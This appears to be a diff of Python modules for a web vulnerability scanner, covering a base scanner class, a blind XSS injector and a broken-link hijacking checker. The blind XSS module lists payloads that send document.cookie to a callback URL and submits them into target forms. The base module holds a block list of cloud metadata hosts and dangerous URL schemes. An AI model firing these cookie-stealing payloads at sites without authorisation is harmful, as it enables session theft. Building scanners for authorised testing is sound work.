+
+def parse_domain(url: str) -> str:
+    return (
+        url.replace("https://", "")
+        .replace("http://", "")
+        .split("/")[0]
+        .split(":")[0]
+        .split("?")[0]
+        .strip()
+    )
+
+
+def build_vuln(
+    title: str,
+    severity: str,
+    category: str,
+    cvss_score: float,
+    description: str,
+    remediation: str,
+    evidence: str = "",
+    payload: str = "",
+    request_details: str = "",
+    response_details: str = "",
+    confidence: str = "Medium",
+    scanner_key: str = "unknown",
+    cve_ids: list | None = None,
+    references: list | None = None,
+    cwe_ids: list | None = None,
+    owasp_category: str | None = None,
+) -> dict:
+    result = {
+        "title":            _clean_nul(title),
+        "severity":         _clean_nul(severity),
+        "category":         _clean_nul(category),
+        "cvss_score":       cvss_score,
+        "description":      _clean_nul(description),
+        "remediation":      _clean_nul(remediation),
+        "evidence":         _mask_secrets(evidence),
+        "payload":          _clean_nul(payload),
+        "request_details":  _clean_nul(request_details),
+        "response_details": _mask_secrets(response_details),
+        "confidence":       _clean_nul(confidence),
+        "scanner_key":      _clean_nul(scanner_key),
+        "cve_ids":          cve_ids or [],
+        "references":       references or [],
+        "timestamp":        datetime.now(timezone.utc).isoformat(),
+    }
+    if cwe_ids:
+        result["cwe_ids"] = cwe_ids
+    if owasp_category:
+        result["owasp_category"] = _clean_nul(owasp_category)
+    _classify_enrich(result, scanner_key)
+    return result
+
+
+def make_ssl_context(verify: bool | None = None):
+    import ssl as _ssl
+    ctx = _ssl.create_default_context()
+    if verify is False or (verify is None and not DEFAULT_VERIFY_SSL):
+        ctx.check_hostname = False
+        ctx.verify_mode   = _ssl.CERT_NONE
+    else:
+        # Enforce TLS 1.2+ minimum (report §1.3)
+        try:
+            ctx.minimum_version = _ssl.TLSVersion.TLSv1_2
+        except AttributeError:
+            pass  # Older Python — skip
+    return ctx
+
+
+def check_robots_txt(target: str, user_agent: str = "LarShield/2.0") -> RobotFileParser | None:
+    try:
+        parsed = urlparse(target)
+        robots_url = f"{parsed.scheme}://{parsed.netloc}/robots.txt"
+        rp = RobotFileParser(robots_url)
+        rp.read()
+        return rp
+    except Exception as e:
+        print(f"ERROR: [Base] check_robots_txt error: {e}")
+        return None
+
+
+# ── Blocked target sets (GAP-002) ─────────────────────────────────────────
+_BLOCKED_HOSTS = frozenset({
+    "localhost", "127.0.0.1", "::1", "0.0.0.0",
+    "169.254.169.254",          # AWS/Azure IMDS
+    "metadata.google.internal", # GCP metadata
+    "100.100.100.200",          # Alibaba Cloud ECS metadata
+    "kubernetes.default.svc",
+    "kubernetes.default",
+})
+_BLOCKED_SCHEMES = frozenset({"file", "ftp", "gopher", "dict", "ldap", "ldaps"})
+
+# Raised from 60→150 to reduce per-scanner throttle waits and cut scan time
+_SCANNER_RATE_LIMIT  = int(os.environ.get("SCANNER_RATE_LIMIT",  "150"))
+_SCANNER_RATE_WINDOW = int(os.environ.get("SCANNER_RATE_WINDOW", "60"))
+
+# ── Module-level shared SSL context (avoids rebuilding per-instance) ──────────
+_SHARED_SSL_CONTEXT = None
+_SSL_CONTEXT_LOCK   = threading.Lock()
+
+def _get_shared_ssl_context():
+    """Return (or lazily create) a module-level SSL context."""
+    global _SHARED_SSL_CONTEXT
+    if _SHARED_SSL_CONTEXT is None:
+        with _SSL_CONTEXT_LOCK:
+            if _SHARED_SSL_CONTEXT is None:
+                _SHARED_SSL_CONTEXT = make_ssl_context(None)
+    return _SHARED_SSL_CONTEXT
+
+
+class TokenBucket:
+    def __init__(self, rate: int = 60, window: int = 60):
+        self._rate = rate
+        self._window = window
+        self._tokens = rate
+        self._last_refill = time.monotonic()
+        self._lock = threading.Lock()
+
+    def _refill(self):
+        now = time.monotonic()
+        elapsed = now - self._last_refill
+        self._tokens = min(self._rate, self._tokens + elapsed * (self._rate / self._window))
+        self._last_refill = now
+
+    def acquire(self, block: bool = True) -> bool:
+        with self._lock:
+            self._refill()
+            if self._tokens >= 1:
+                self._tokens -= 1
+                return True
+            if block:
+                sleep_time = (self._window / self._rate) * 1.1
+                time.sleep(sleep_time)
+                self._refill()
+                if self._tokens >= 1:
+                    self._tokens -= 1
+                    return True
+        return False
+
+
+class BaseScanner:
+    SCANNER_NAME: str = "Base Scanner"
+
+    def __init__(
+        self,
+        scan_id: str,
+        target: str,
+        domain: str,
+        auth_headers: dict | None = None,
+        verify_ssl: bool | None = None,
+        red_team: bool = False,
+        **kwargs,
+    ) -> None:
+        self.scan_id       = scan_id
+        self.target        = target
+        self.domain        = domain
+        self.auth_headers  = auth_headers or {}
+        self.verify_ssl    = verify_ssl
+        self.red_team      = red_team
+        self.vulns: list[dict] = []
+        self._ssl_context  = None
+        self._robots_parser = None
+
+        # GAP-ADV: Centralized discovery context to prevent redundant crawling
+        self.discovery_context = kwargs.get("discovery_context", {})
+
+        # PHASE 1: Build per-scan site baseline for SPA/404 false-positive suppression
+        self._baseline = SiteBaseline()
+        try:
+            ssl_ctx = make_ssl_context(verify_ssl)
+            self._baseline.build(
+                target,
+                ssl_context=ssl_ctx,
+                headers={"User-Agent": "LarShield/2.0"},
+                timeout=6,
+            )
+        except Exception as _be:
+            add_log(scan_id, "WARNING", f"[Base] Baseline build error (suppression disabled): {_be}")
+
+        # BUG-12 FIX: Validate target on init so ALL scanners are protected.
+        # We catch ValueError here (not re-raise) to log and continue — some
+        # scan types like API scanners may legitimately call with non-HTTP URLs.
+        try:
+            self._validate_target(self.target)
+        except ValueError as e:
+            add_log(scan_id, "WARNING",
+                    f"[Base] Target validation warning for '{target}': {e}")
+
+    # ── SSL / robots ─────────────────────────────────────────────────────
+
+    def get_ssl_context(self):
+        if self._ssl_context is None:
+            self._ssl_context = make_ssl_context(self.verify_ssl)
+        return self._ssl_context
+
+    def get_robots_parser(self):
+        if self._robots_parser is None:
+            self._robots_parser = check_robots_txt(self.target)
+        return self._robots_parser
+
+    def can_fetch(self, path: str = "/") -> bool:
+        rp = self.get_robots_parser()
+        if rp is None:
+            return True
+        return rp.can_fetch("LarShield/2.0", path)
+
+    # ── PHASE 1: Baseline convenience helpers ─────────────────────────────
+
+    def _is_baseline(self, status: int, body: str | bytes) -> bool:
+        """
+        Return True when this response matches the site's generic SPA/404 catch-all.
+        Use this before reporting any path as "found" to suppress false positives.
+        """
+        return self._baseline.is_baseline(status, body)
+
+    def _is_not_found(self, status: int, body: str | bytes = b"") -> bool:
+        """True when status >= 400 OR response matches the baseline catch-all."""
+        return self._baseline.is_not_found(status, body)
+
+    # ── Logging ──────────────────────────────────────────────────────────
+
+    def log(self, level: str, message: str) -> None:
+        add_log(self.scan_id, level, message)
+        # Emit real-time log event
+        emit_scan_progress(self.scan_id, 'scan_log', {
+            'level': level,
+            'message': message,
+            'timestamp': datetime.now(timezone.utc).isoformat()
+        })
+
+    # ── Vulnerability reporting ──────────────────────────────────────────
+
+    def add_vuln(
+        self,
+        title: str,
+        severity: str,
+        category: str,
+        cvss_score: float,
+        description: str,
+        remediation: str,
+        evidence: str = "",
+        payload: str = "",
+        request_details: str = "",
+        response_details: str = "",
+        confidence: str = "Medium",
+        cve_ids: list | None = None,
+        references: list | None = None,
+        cwe_ids: list | None = None,
+        owasp_category: str | None = None,
+    ) -> None:
+        vuln = build_vuln(
+            title, severity, category, cvss_score,
+            description, remediation,
+            evidence, payload, request_details, response_details,
+            confidence=confidence,
+            scanner_key=getattr(self, "_SCANNER_KEY", "unknown"),
+            cve_ids=cve_ids,
+            references=references,
+            cwe_ids=cwe_ids,
+            owasp_category=owasp_category,
+        )
+        # Inline dedup: skip if same title+category already recorded this run
+        for existing in self.vulns:
+            if existing["title"] == vuln["title"] and existing["category"] == vuln["category"]:
+                # Update confidence if the new one is stronger
+                conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3}
+                if conf_rank.get(vuln["confidence"], 0) > conf_rank.get(existing["confidence"], 0):
+                    existing["confidence"] = vuln["confidence"]
+                    if vuln.get("payload"):
+                        existing["payload"] = vuln["payload"]
+                    if vuln.get("evidence"):
+                        existing["evidence"] = vuln["evidence"]
+                return
+        self.vulns.append(vuln)
+        # Emit real-time vulnerability found event
+        emit_scan_progress(self.scan_id, 'vulnerability_found', {
+            'title': title,
+            'severity': severity,
+            'category': category,
+            'cvss_score': cvss_score,
+            'confidence': confidence,
+            'scanner_key': getattr(self, "_SCANNER_KEY", "unknown"),
+            'timestamp': datetime.now(timezone.utc).isoformat()
+        })
+
+    def run(self) -> list[dict]:
+        raise NotImplementedError("Subclasses must implement run()")
+
+    # ── GAP-003: Unified auth-aware HTTP helpers ──────────────────────────
+
+    def _make_headers(self, additional: dict | None = None) -> dict:
+        """Build headers dict merging auth_headers (always include for authenticated scanning)."""
+        headers = {"User-Agent": "LarShield/2.0"}
+        if self.auth_headers:
+            headers.update(self.auth_headers)
+        if additional:
+            headers.update(additional)
+        return headers
+
+    def _throttle(self):
+        """Rate-limit requests per scanner instance. Blocks (sleeps) when rate limit is hit."""
+        if not hasattr(self, '_bucket'):
+            self._bucket = TokenBucket(_SCANNER_RATE_LIMIT, _SCANNER_RATE_WINDOW)
+        self._bucket.acquire(block=True)
+
+    def _make_request(
+        self,
+        url: str,
+        method: str = "GET",
+        data: bytes | None = None,
+        headers: dict | None = None,
+        timeout: int = 15,  # Increased from 5s -> 15s to handle slower external sites
+        return_response_obj: bool = False,
+    ) -> tuple[str | None, int] | tuple[str | None, int, dict]:
+        """
+        Unified HTTP request helper — always includes auth_headers.
+        Returns (body_str, status_code). On error returns (None, 0).
+        Automatically handles HTTPError bodies.
+        """
+        self._throttle()
+        req_headers = self._make_headers(headers)
+        # Add Connection: close to prevent keep-alive pool exhaustion on stressed targets
+        req_headers.setdefault("Connection", "close")
+        # Use shared SSL context to avoid per-call context creation overhead
+        ssl_ctx = _get_shared_ssl_context() if self.verify_ssl is None else self.get_ssl_context()
+
+        # PHASE 7.3: Retry with backoff on IncompleteRead / transient errors
+        _RETRY_DELAYS = [0.0, 0.5, 1.5]  # 3 attempts: immediate, +0.5s, +1.5s
+        for _attempt, _delay in enumerate(_RETRY_DELAYS):
+            if _delay:
+                time.sleep(_delay)
+            try:
+                req = urllib.request.Request(
+                    url, data=data, headers=req_headers, method=method
+                )
+                with urllib.request.urlopen(
+                    req, timeout=timeout, context=ssl_ctx
+                ) as r:
+                    body = r.read().decode("utf-8", errors="ignore")
+                    if return_response_obj:
+                        return body, r.status, r.headers  # type: ignore[return-value]
+                    return body, r.status
+            except http.client.IncompleteRead as e:
+                if _attempt < len(_RETRY_DELAYS) - 1:
+                    self.log("WARNING", f"[Base] IncompleteRead on {url} (attempt {_attempt+1}), retrying...")
+                    continue
+                # Last attempt — return partial data
+                partial = e.partial.decode("utf-8", errors="ignore") if e.partial else ""
+                if return_response_obj:
+                    return partial, 200, {}  # type: ignore[return-value]
+                return partial, 200
+            except urllib.error.HTTPError as e:
+                try:
+                    body = e.read().decode("utf-8", errors="ignore")
+                except Exception as ex:
+                    self.log("ERROR", f"[Base] _make_request HTTPError body read error: {ex}")
+                    body = ""
+                if return_response_obj:
+                    return body, e.code, e.headers  # type: ignore[return-value]
+                return body, e.code
+            except ValueError as e:
+                err_str = str(e).lower()
+                # Suppress expected errors from newline/CRLF injection payloads in headers
+                if "control characters" in err_str or "invalid header" in err_str:
+                    if return_response_obj:
+                        return None, 0, {}  # type: ignore[return-value]
+                    return None, 0
+                self.log("ERROR", f"[Base] _make_request ValueError: {e}")
+                if return_response_obj:
+                    return None, 0, {}  # type: ignore[return-value]
+                return None, 0
+            except Exception as e:
+                # Suppress verbose logging for expected/common probe errors
+                err_str = str(e).lower()
+                _suppressed = (
+                    "timed out", "connection refused", "name or service",
+                    "getaddrinfo",         # DNS resolution failure
+                    "errno 11001",         # Windows: getaddrinfo failed
+                    "control characters",  # Expected when CRLF payloads hit urllib
+                    "no connection could be made",
+                    "actively refused",
+                    "10054",               # Connection forcibly closed
+                    "forcibly closed",
+                )
+                if not any(x in err_str for x in _suppressed):
+                    self.log("ERROR", f"[Base] _make_request error: {e}")
+                if return_response_obj:
+                    return None, 0, {}  # type: ignore[return-value]
+                return None, 0
+        # Should not reach here
+        if return_response_obj:
+            return None, 0, {}  # type: ignore[return-value]
+        return None, 0
+
+
+    def _make_timed_request(
+        self, url: str, method: str = "GET",
+        data: bytes | None = None, headers: dict | None = None, timeout: int = 8,
+    ) -> tuple[str | None, int, float]:
+        """Returns (body, status, elapsed_seconds). Used for timing-based detection."""
+        t0 = time.monotonic()
+        body, status = self._make_request(url, method, data, headers, timeout)
+        return body, status, time.monotonic() - t0
+
+    # ── GAP-ADV: Concurrent execution helpers ──────────────────────────────
+
+    def _make_async_requests(
+        self,
+        requests_list: list[dict],
+        max_workers: int = 10,  # PHASE 7.3: Reduced 25 → 10 to prevent connection pool exhaustion
+    ) -> list[tuple[dict, str | None, int]]:
+        """
+        Executes a list of requests concurrently using a thread pool.
+        Each request in `requests_list` must be a dict with keys:
+          'url' (required), optionally 'method', 'data', 'headers', 'timeout'.
+        Returns a list of tuples: (request_dict, response_body, status_code).
+        """
+        import concurrent.futures
+
+        results: list[tuple[dict, str | None, int]] = []
+
+        def worker(req: dict) -> tuple[dict, str | None, int]:
+            url = req.get("url")
+            if not url:
+                return req, None, 0
+            method  = req.get("method", "GET")
+            data    = req.get("data")
+            headers = req.get("headers")
+            timeout = req.get("timeout", 15)  # Consistent 15s default
+            body, status = self._make_request(url, method, data, headers, timeout)
+            return req, body, status
+
+        with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
+            future_to_req = {executor.submit(worker, req): req for req in requests_list}
+            for future in concurrent.futures.as_completed(future_to_req):
+                req = future_to_req[future]
+                try:
+                    res = future.result()
+                    results.append(res)
+                except Exception as exc:
+                    self.log("ERROR", f"[Base] _make_async_requests future error: {exc}")
+                    results.append((req, None, 0))
+
+        return results
+
+    # ── URL helpers ────────────────────────────────────────────────────────
+
+    def _safe_url_join(self, base: str, path: str) -> str:
+        """
+        Safely join a base URL with a relative path.
+        Handles edge cases like missing slashes, query strings, fragments.
+        """
+        try:
+            if path.startswith("http://") or path.startswith("https://"):
+                return path
+            return urljoin(base.rstrip("/") + "/", path.lstrip("/"))
+        except Exception:
+            return base
+
+    def _deduplicate_vulns(self) -> None:
+        """
+        Remove duplicate vulnerabilities from self.vulns in-place.
+        Dedup key: (title, category).
+        Keeps the highest-confidence occurrence.
+        """
+        seen: dict[tuple, dict] = {}
+        conf_rank = {"Low": 0, "Medium": 1, "High": 2, "Confirmed": 3}
+        for v in self.vulns:
+            key = (v["title"], v["category"])
+            if key not in seen:
+                seen[key] = v
+            else:
+                existing_rank = conf_rank.get(seen[key].get("confidence", "Low"), 0)
+                new_rank = conf_rank.get(v.get("confidence", "Low"), 0)
+                if new_rank > existing_rank:
+                    seen[key] = v
+        self.vulns = list(seen.values())
+
+    # ── GAP-002: Target SSRF self-protection ─────────────────────────────
+
+    def _validate_target(self, url: str | None = None) -> None:
+        """
+        Prevent the scanner engine from being used as an SSRF pivot.
+        Raises ValueError for blocked targets.
+        BUG-12 FIX: Now called in __init__ automatically for every scanner.
+        """
+        target = url or self.target
+        try:
+            p = urlparse(target)
+        except Exception as exc:
+            raise ValueError(f"Invalid URL: {exc}") from exc
+
+        # Block dangerous schemes
+        if p.scheme in _BLOCKED_SCHEMES:
+            raise ValueError(f"Blocked URL scheme: {p.scheme!r}")
+
+        hostname = (p.hostname or "").lower().strip()
+        if not hostname:
+            raise ValueError("URL has no hostname")
+
+        # Block known metadata / internal service hostnames
+        if hostname in _BLOCKED_HOSTS:
+            raise ValueError(f"Blocked host: {hostname}")
+
+        # Block private / loopback / link-local IP ranges
+        try:
+            ip = ipaddress.ip_address(hostname)
+            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_multicast:
+                raise ValueError(f"Private/internal IP blocked: {ip}")
+        except ValueError as exc:
+            if "Blocked" in str(exc) or "Private" in str(exc) or "internal" in str(exc):
+                raise  # Re-raise our own checks
+            # Not an IP address (it's a hostname) — fine, proceed
+            pass

backend/scanners/blind_xss_scanner.py

@@ -0,0 +1,126 @@
+import re
+import urllib.request
+import urllib.parse
+
+from scanners.base_scanner import BaseScanner, XSS_CALLBACK_URL
+
+BLIND_XSS_PAYLOADS = [
+    f'"><script src="{XSS_CALLBACK_URL}/xss.js"></script>',
+    f"';new Image().src='{XSS_CALLBACK_URL}/?c='+document.cookie//",
+    f'"><img src=x onerror="fetch(\'{XSS_CALLBACK_URL}/?c=\'+btoa(document.cookie))">',
+]
+
+FORM_INPUT_TYPES = ["text", "email", "search", "url", "tel", "textarea"]
+
+
+class BlindXssScanner(BaseScanner):
+    SCANNER_NAME = "Blind XSS (Out-of-Band) Scanner"
+    _SCANNER_KEY = "blind_xss"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[BlindXSS] Injecting blind XSS payloads into forms on {self.target}...")
+        self.log("INFO", f"[BlindXSS] Using callback URL: {XSS_CALLBACK_URL}")
+        try:
+            req = urllib.request.Request(
+                self.target, headers=self._make_headers()
+            )
+            with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
+                html = r.read().decode("utf-8", errors="ignore")
+        except Exception as e:
+            self.log("WARNING", f"[BlindXSS] Error: {e}")
+            return self.vulns
+
+        forms = self._parse_forms(html)
+        if not forms:
+            self.log("INFO", "[BlindXSS] No forms found to inject into.")
+            return self.vulns
+
+        injected_endpoints = []
+        for form in forms[:5]:
+            action = form.get("action") or self.target
+            if not action.startswith("http"):
+                from urllib.parse import urljoin
+                action = urljoin(self.target, action)
+            fields = form.get("fields", [])
+            if not fields:
+                continue
+            payload = BLIND_XSS_PAYLOADS[0]
+            post_data = {}
+            for field in fields:
+                field_type = field.get("type", "text").lower()
+                if field_type in FORM_INPUT_TYPES:
+                    post_data[field["name"]] = payload
+                elif field_type == "hidden":
+                    post_data[field["name"]] = field.get("value", "")
+                elif field_type == "email":
+                    post_data[field["name"]] = "test@test.com" + payload
+            if post_data:
+                try:
+                    data = urllib.parse.urlencode(post_data).encode()
+                    req = urllib.request.Request(
+                        action,
+                        data=data,
+                        method=form.get("method", "POST").upper(),
+                        headers={
+                            "User-Agent": "LarShield/2.0",
+                            "Content-Type": "application/x-www-form-urlencoded",
+                        },
+                    )
+                    urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context())
+                    injected_endpoints.append(action)
+                    self.log("INFO", f"[BlindXSS] Payload injected into: {action}")
+                except Exception as e:
+                    self.log("ERROR", f"[BlindXSS] Injection error: {e}")
+                    injected_endpoints.append(action + " (injection attempted)")
+
+        if injected_endpoints:
+            self.add_vuln(
+                title=f"Blind XSS Payloads Submitted to {len(injected_endpoints)} Form(s) — Awaiting Callback",
+                severity="Low",
+                category="Blind XSS",
+                cvss_score=0.0,
+                confidence="Low",
+                description=(
+                    f"Out-of-band XSS payloads were submitted to {len(injected_endpoints)} form endpoint(s).\n"
+                    f"Callback listener configured at: {XSS_CALLBACK_URL}\n\n"
+                    + "\n".join(f"- `{e}`" for e in injected_endpoints)
+                    + "\n\n**This is NOT a confirmed finding.** Blind XSS requires an external callback "
+                    "to verify execution. Monitor your XSS hunter / callback server for incoming "
+                    f"requests from `{XSS_CALLBACK_URL}`. If a callback is received, escalate to Critical."
+                ),
+                remediation=(
+                    "1. If a callback IS received: Apply output encoding on ALL stored user data rendered in admin panels.\n"
+                    "2. Implement a strict CSP on admin interfaces.\n"
+                    "3. Use DOMPurify on any admin UI that renders user-submitted content.\n"
+                    "4. If no callback is received within 24h, the forms are likely not vulnerable."
+                ),
+            )
+        else:
+            self.log("SUCCESS", "[BlindXSS] No injectable forms found.")
+        return self.vulns
+
+    def _parse_forms(self, html):
+        forms = []
+        for form_html in re.findall(r"<form[^>]*>.*?</form>", html, re.S | re.I):
+            action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
+            method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
+            fields = []
+            for inp in re.findall(r"<(?:input|textarea)[^>]*>", form_html, re.I):
+                name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I)
+                type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I)
+                val_m = re.search(r'value=["\']([^"\']*)["\']', inp, re.I)
+                if name_m:
+                    fields.append({
+                        "name": name_m.group(1),
+                        "type": type_m.group(1) if type_m else "text",
+                        "value": val_m.group(1) if val_m else "",
+                    })
+            forms.append({
+                "action": action.group(1) if action else "",
+                "method": method.group(1) if method else "POST",
+                "fields": fields,
+            })
+        return forms

backend/scanners/broken_link_scanner.py

@@ -0,0 +1,256 @@
+import re
+import socket
+import urllib.request
+import urllib.error
+from urllib.parse import urlparse
+from scanners.base_scanner import BaseScanner
+
+HIJACK_RISK = {
+    "script": {"weight": 5, "desc": "JavaScript — full XSS capability"},
+    "link": {"weight": 4, "desc": "CSS stylesheet — content injection, form hijacking"},
+    "iframe": {"weight": 4, "desc": "iframe — page content takeover"},
+    "src": {"weight": 3, "desc": "Embedded resource (image/font/object)"},
+    "href": {"weight": 2, "desc": "Hyperlink — reputation/phishing risk"},
+}
+
+EXTERNAL_PATTERNS = [
+    (r'<script[^>]+src=["\'](https?://[^"\'>\s]+)', "script"),
+    (r'<link[^>]+href=["\'](https?://[^"\'>\s]+\.css[^"\'>\s]*)', "link"),
+    (r'<iframe[^>]+src=["\'](https?://[^"\'>\s]+)', "iframe"),
+    (r'<img[^>]+src=["\'](https?://[^"\'>\s]+)', "src"),
+    (r'<source[^>]+src=["\'](https?://[^"\'>\s]+)', "src"),
+    (r'@import\s+["\'](https?://[^"\'>\s]+)', "link"),
+    (r'url\(["\']?(https?://[^"\'>\s]+)', "src"),
+    (r'<a[^>]+href=["\'](https?://[^"\'>\s]+)', "href"),
+]
+
+DANGEROUS_RESOURCE_EXTS = {".js", ".css", ".woff", ".woff2", ".ttf", ".eot", ".svg", ".ico"}
+
+COMMON_CNAME_TAKEOVER_SIGNATURES = [
+    "herokudns.com", "herokuapp.com", "heroku.com",
+    "cloudfront.net", "s3.amazonaws.com", "s3-website",
+    "github.io", "githubusercontent.com",
+    "unbouncepages.com", "unbounce.com",
+    "surge.sh", "netlify.app", "netlify.com",
+    "pages.dev", "workers.dev",
+    "azureedge.net", "azurewebsites.net", "trafficmanager.net",
+    "elb.amazonaws.com", "us-east-1.elb.amazonaws.com",
+    "firebaseapp.com", "web.app",
+    "wordpress.com", "wpengine.com",
+    "squarespace.com", "squarespaceusercontent.com",
+    "myshopify.com", "shopify.com",
+    "bilohost.com", "pantheonsite.io",
+    "aftership.com", "ghost.io",
+    "fastly.net", "glitch.me",
+    "bitbucket.io", "readme.io",
+    "statuspage.io", "atlassian.net",
+    "myshopify.io", "teachable.com",
+    "thinkific.com", "clickfunnels.com",
+    "cargocollective.com", "tictail.com",
+    "zendesk.com", "freshdesk.com",
+    "helpscout.net", "intercom.io",
+]
+
+EXPIRED_REGISTRAR_INDICATORS = [
+    "this domain", "domain is parked", "buy this domain",
+    "domain is for sale", "expired", "registrar",
+    "whois protection", "this domain may be for sale",
+    "domain not found", "no website configured",
+    "server dns address could not be found",
+    "this site is not available",
+    "this domain registration",
+    "pending renewal",
+]
+
+
+class BrokenLinkScanner(BaseScanner):
+    SCANNER_NAME = "Broken Link Hijacking Scanner"
+    _SCANNER_KEY = "broken_link"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+        self._page_html = ""
+        self._resources: list[dict] = []
+
+    def run(self) -> list:
+        self.log("INFO", f"[BrokenLink] Scanning {self.target} for hijackable external resources...")
+        self._fetch_page()
+        if not self._page_html:
+            return self.vulns
+        self._extract_external_resources()
+        self._audit_resource_domains()
+        self._check_unregistered_domains()
+        self._check_nxdomain_resources()
+        return self.vulns
+
+    def _fetch_page(self):
+        try:
+            body, code = self._make_request(self.target, timeout=10)
+            if body:
+                self._page_html = body
+        except Exception as e:
+            self.log("ERROR", f"[BrokenLink] Fetch failed: {e}")
+
+    def _extract_external_resources(self):
+        found = set()
+        for pattern, rtype in EXTERNAL_PATTERNS:
+            for match in re.finditer(pattern, self._page_html, re.I):
+                url = match.group(1).split('"')[0].split("'")[0].split(">")[0].strip()
+                if self.domain not in url and url not in found:
+                    found.add(url)
+                    self._resources.append({"url": url, "type": rtype})
+        self.log("INFO", f"[BrokenLink] Found {len(self._resources)} external resource(s)")
+
+    def _audit_resource_domains(self):
+        for res in self._resources:
+            self._check_resource(res)
+
+    def _check_resource(self, res: dict):
+        url = res["url"]
+        parsed = urlparse(url)
+        hostname = parsed.hostname or ""
+        rtype = res["type"]
+        base_weight = HIJACK_RISK.get(rtype, {}).get("weight", 1)
+        ext = self._get_extension(url)
+        is_js_or_css = ext in DANGEROUS_RESOURCE_EXTS
+
+        status, body, resolved = self._probe_resource(url)
+        if status is None:
+            return
+
+        indicators = []
+        if status in (404, 410):
+            indicators.append(f"HTTP {status} Not Found — resource missing")
+        elif status in (403, 401):
+            indicators.append(f"HTTP {status} — access denied, may be misconfigured")
+        elif status == 200 and self._is_expired_landing(body):
+            indicators.append("HTTP 200 with domain-parked/expired content")
+
+        if not resolved:
+            nx = self._check_nxdomain(hostname)
+            if nx == "nxdomain":
+                indicators.append("DNS NXDOMAIN — domain does not exist")
+            elif nx == "takeover_candidate":
+                cname = self._get_cname(hostname)
+                indicators.append(f"CNAME to known takeover-vulnerable service ({cname}) — hijackable")
+                base_weight = min(base_weight + 2, 5)
+
+        if not indicators:
+            return
+
+        severity = self._severity_from_weight(base_weight)
+        cvss = self._cvss_from_weight(base_weight, len(indicators), is_js_or_css)
+
+        self.add_vuln(
+            title=f"Broken Link Hijacking — {url[:80]}",
+            severity=severity,
+            category="Broken Link Hijacking",
+            cvss_score=cvss,
+            description=(
+                f"External {rtype} resource hijackable:\n"
+                f"  URL: {url}\n"
+                f"  Type: {HIJACK_RISK.get(rtype, {}).get('desc', rtype)}\n"
+                f"  Indicators:\n" + "\n".join(f"    - {i}" for i in indicators)
+            ),
+            remediation=(
+                "Remove or replace the resource. For critical JS/CSS/fonts, "
+                "self-host or use a integrity-managed CDN (SRI). "
+                "Monitor external dependencies for expiration."
+            ),
+            evidence=f"Resource URL: {url}\n" + "\n".join(indicators),
+            payload="",
+            request_details=f"GET {url}",
+            response_details=f"HTTP {status}, body length {len(body or '')}",
+            confidence="Confirmed" if base_weight >= 4 else "High",
+        )
+
+    def _probe_resource(self, url: str) -> tuple[int | None, str | None, bool]:
+        try:
+            body, code = self._make_request(url, timeout=6)
+            if code and code < 400 and body:
+                return code, body, True
+            return code, body, False
+        except Exception:
+            return None, None, False
+
+    def _check_unregistered_domains(self):
+        domains = set()
+        for res in self._resources:
+            host = urlparse(res["url"]).hostname
+            if host:
+                domains.add(host)
+        for domain in domains:
+            nx = self._check_nxdomain(domain)
+            if nx:
+                desc = "NXDOMAIN — domain not registered" if nx == "nxdomain" else f"CNAME to vulnerable service ({self._get_cname(domain)})"
+                cvss = 5.3 if nx == "nxdomain" else 7.5
+                self.add_vuln(
+                    title=f"Expired External Domain — {domain}",
+                    severity="High" if nx == "takeover_candidate" else "Medium",
+                    category="Broken Link Hijacking",
+                    cvss_score=cvss,
+                    description=f"External domain {domain} referenced by page resources: {desc}. Attacker can register this domain and serve malicious content.",
+                    remediation="Remove references to this domain or ensure it remains registered and controlled.",
+                    evidence=f"Domain: {domain}\nDNS result: {desc}",
+                    confidence="High",
+                )
+
+    def _check_nxdomain_resources(self):
+        pass
+
+    def _check_nxdomain(self, hostname: str) -> str | None:
+        hostname = hostname.lower().strip()
+        try:
+            socket.getaddrinfo(hostname, 80, socket.AF_INET)
+            cname = self._get_cname(hostname)
+            if cname:
+                for sig in COMMON_CNAME_TAKEOVER_SIGNATURES:
+                    if sig in cname:
+                        return "takeover_candidate"
+            return self.vulns
+        except socket.gaierror:
+            pass
+        try:
+            socket.getaddrinfo(hostname, 80, socket.AF_INET6)
+            return self.vulns
+        except socket.gaierror:
+            return "nxdomain"
+
+    def _get_cname(self, hostname: str) -> str:
+        try:
+            result = socket.getaddrinfo(hostname, 80, socket.AF_INET)
+            for res in result:
+                canon = res[3]
+                if canon and canon != hostname and not canon.startswith("("):
+                    return canon
+        except Exception:
+            pass
+        return ""
+
+    def _get_extension(self, url: str) -> str:
+        path = urlparse(url).path.lower()
+        match = re.search(r'(\.[a-z0-9]+)(?:\?|#|$)', path)
+        return match.group(1) if match else ""
+
+    def _is_expired_landing(self, body: str | None) -> bool:
+        if not body:
+            return False
+        body_lower = body.lower()
+        matches = sum(1 for ind in EXPIRED_REGISTRAR_INDICATORS if ind in body_lower)
+        return matches >= 2
+
+    def _severity_from_weight(self, w: int) -> str:
+        if w >= 5:
+            return "Critical"
+        if w >= 4:
+            return "High"
+        if w >= 3:
+            return "Medium"
+        return "Low"
+
+    def _cvss_from_weight(self, weight: int, indicators: int, is_js: bool) -> float:
+        base = 3.0 + weight * 1.2
+        if is_js:
+            base += 1.5
+        base += indicators * 0.3
+        return round(min(base, 10.0), 1)

backend/scanners/business_logic_scanner.py

@@ -0,0 +1,493 @@
+"""
+business_logic_scanner.py — Business Logic Vulnerability Scanner
+================================================================
+Advanced business logic flaw detection module.
+
+This scanner:
+  1. Tests for coupon abuse and discount manipulation
+  2. Detects privilege escalation through business logic
+  3. Tests for payment bypass and price manipulation
+  4. Checks for workflow bypass vulnerabilities
+  5. Tests for parameter tampering in business processes
+  6. Detects race conditions in business transactions
+"""
+import urllib.request, urllib.error, urllib.parse, ssl, re, json
+from scanners.base_scanner import BaseScanner
+from utils.differential import DifferentialAnalyzer, ParameterMutationTester
+
+# ──────────────────────────────────────────────────────────────────────
+# Business Logic Test Patterns
